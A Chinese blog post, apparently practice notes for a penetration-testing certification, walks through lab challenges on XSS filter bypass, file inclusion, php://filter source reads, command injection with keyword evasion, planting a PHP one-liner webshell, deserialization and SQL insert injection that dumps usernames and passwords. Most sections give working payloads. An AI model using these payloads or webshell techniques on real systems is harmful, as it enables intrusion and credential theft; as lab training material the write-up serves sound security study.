2.1 综合练习

XSS注入

http://chanzhi7.njhack.xyz/www/

尝试搜索一些内容,在F12中使用Ctrl+F看看搜索的关键词出现在了网页源代码的哪些位置。

1
<input type='text' name='words' id='words' value='haha' class='form-control' placeholder='' /> 

直接尝试注入

1
<input type='text' name='words' id='words' value='  abc'><script>alert(1)</script><img '  ' class='form-control' placeholder='' /> 

被拦截

尝试二阶URL编码,发现可以逃逸闭合,并且网站并没有拦截

1
<input type='text' name='words' id='words' value='  abc'><img '  ' class='form-control' placeholder='' />

Payload1:

1
<input type='text' name='words' id='words' value='  abc' onmouseover='alert(1) ' class='form-control' placeholder='' />

Payload2(思考):

直接使用<script></script>格式的注入发现编码两次也被拦截,

解决方案:那么单独对<script></script>再编码一次

文件包含-1

该靶场包含三个文件:

  1. index.php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php

$a = $_GET['page'];

if(stristr($a,'php://')){
  die("stop hacking");
}

if(stristr($a,'data://')){
  die("stop hacking");
}


if(!isset($a)){
  include 'page1.php';
}else{
  include $a;
}

?>
  1. page1.php
1
<?php echo "this is page1";?>
  1. win.key
1
success!

目标: 在网页中查看到win.key的内容

解析: 参数直接填?page=win.key即可

文件包含-2

访问:http://fileinclude1.njhack.xyz/#/

解析: 看到URL中默认是包含了一个view.html,我们尝试直接访问一下这个页面并查看其源代码。

1
2
3
4
5
6
7
8
9
<?php 
@$a = $_POST['Hello']; 
if(isset($a)){ 
@preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=')); 
} 
?>
Hello
<br>
Are you ok?

base64处的内容解码为:[@eval(base64_decode($_POST[z0]));],这说明此处实际上存在一个一句话木马,调用该木马的方法是传入任意Hello参数,同时传入z0一个base64编码后的待执行命令。

这里我们为z0传入一个system($_POST["cmd"])的系统级一句话木马,这样我们快就可以通过追加一个参数cmd直接执行系统级命令,例如lscat

所以我们POST以下内容:

1
Hello=1&z0=c3lzdGVtKCRfUE9TVFsnY21kJ10pOw==&cmd=ls ../		后面的退回上一级是测试出来的

可以看到列出的文件的确有key.php

因此我们继续传入:

1
Hello=1&z0=c3lzdGVtKCRfUE9TVFsnY21kJ10pOw==&cmd=cat ../key.php

成功拿到目标数据。

文件包含-3

访问:http://fileinclude2.njhack.xyz/#/

解析:

这次的view.html中就没有什么一句话木马了,我们使用php伪协议之filter来读取,修改file参数为

1
http://fileinclude2.njhack.xyz/vulnerabilities/fu1.php?file=php://filter/read=convert.base64-encode/resource=../key.php

其中到上一级目录同样是测试出来的,看到返回了这样一串字符串:

1
R2V0IGl0IQ0KPD9waHANCg0KLy9rZXk6NnUzeDl0MnANCj8+

使用base64解码得:

1
2
3
4
5
Get it!
<?php

//key:6u3x9t2p
?>

命令执行-1

在phpstudy中自行搭建:

1
2
3
4
5
6
7
8
<?php

$a = $_GET['a'];
eval("\$o=strtolower(\"$a\");");
echo $o;
show_source(__FILE__);

?>

解析:

可以看到源代码的含义是将传入的参数值全部转为小写并且print一遍,这里的主要思路是逃逸闭合,为了方便,这一过程应在本地的记事本中进行,把eval那行代码复制到记事本中,尝试逃逸闭合:

1
eval("\$o=strtolower(\"  x\");");system($_GET["cmd"]);//			\");");

因此我们只需传入参数:a=x\");");system($_GET["cmd"]);///&cmd=系统命令

不过受限于Windows环境,这里我们知道思路即可。

命令执行-2

访问:http://exec1.njhack.xyz/#/

解析:

测试发现&没有被过滤,因此我们使用&拼接命令

1
2
127.0.0.1 & l's ../			在此处发现了目标key.php
127.0.0.1 & c'a't ../key.ph*		此处发现php可能是敏感词,故设法绕过

代码审计

访问:http://dmsj1.njhack.xyz/#/

解析:

思路一:

看到页面上展示的源代码是获取传入的cmd参数并使用exec执行,并且多余传入参数值有长度限制,可惜exec并不会直接输出代码执行的结果。

1
2
3
4
5
6
echo '<?php ' >> test.php
echo 'eval(\c' >> test.php
echo '$_PO\c' >> test.php
echo 'ST[\c' >> test.php
echo 'z0])\c' >> test.php
echo '?>\c' >> test.php

至此我们已经在当前目录创建了一个php文件并且陆续向其中写入了一句话木马(参数z0)。

思路二:

直接传入参数:

?cmd=ls ../ >> a.html

接下来直接访问a.html这个文件就好啦。

反序列化

自行部署:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php

error_reporting(0);
$PTE = "CISP-PTE";
$str = $_GET['str'];

if(unserialize($str)==="$PTE"){
    echo "key is xxxxxx";
}

show_source(__FILE__);

?>

解析:

和之情一样,既然题目要求我们反序列化的结果要和$PTE这个参数值一致,那么我们直接修改源代码在在下面加一行看看它序列化之后长什么样子就行了。

因此我们传参:?str=s:8:"CISP-PTE";

sql注入之insert注入

靶场文件:https://pan.baidu.com/s/1xAO7Eu9_Tc0pUfiiQaUkww?pwd=7ys3

将靶场部署到phpstudy后导入sql文件到数据库的2web库中

解析:

查看源代码发现我们填写的参数插入后接下来便会被查询出来,所以我们考虑直接插入一个查询(select)语句,题目要求在author处进行注入,我们首先逃逸闭合,仿照原来的语句补全一组插入内容,然后在后面新增一组插入值,里面填写我们真正想要填写的内容

要注意的是因为最终还是要与原语句凭借闭合,所以在第二组插入值中应该修改前两个值来进行注入,因为第三个无论如何最后都会被引号包裹而无法逃逸。

最终Payload:

1
2
3
4
5
6
7
x','123'),('tt1',database(),'nihao	

x','123'),('tt1',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='2web'),'nihao	

x','123'),('tt1',(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='2web'/**/and/**/table_name='users1'),'nihao

x','123'),((select/**/group_concat(username)/**/from/**/users1),(select/**/group_concat(password)/**/from/**/users1),'nihao
Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS